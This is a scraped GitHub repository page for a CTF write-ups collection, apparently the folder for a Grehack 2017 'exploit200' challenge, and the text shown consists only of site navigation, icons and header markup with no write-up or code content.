<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="92195266" data-scoped-search-url="/laxa/write-ups/search" data-owner-scoped-search-url="/users/laxa/search" data-unscoped-search-url="/search" data-turbo="false" action="/laxa/write-ups/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="lv5Ypq4MCKWdgu7ksAUoxHJM7Q2Q9GELGB2KYDejFxCpnHSBBU0ZXAa0tVGYvjP0a/hxxovlR+m6oNoPG6lfew==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> laxa </span> <span>/</span> write-ups
<span></span><span>Public</span> </div>
</div>
<include-fragment src="/laxa/write-ups/sponsor_button"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>13</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/laxa/write-ups/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":92195266,"originating_url":"https://github.com/Laxa/write-ups/tree/master/Grehack%202017/exploit200","user_id":null}}" data-hydro-click-hmac="f9cccfc8603d943e7e2cb8381f62b7c970f3f32a46604d5969aaced8049eb8ec"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
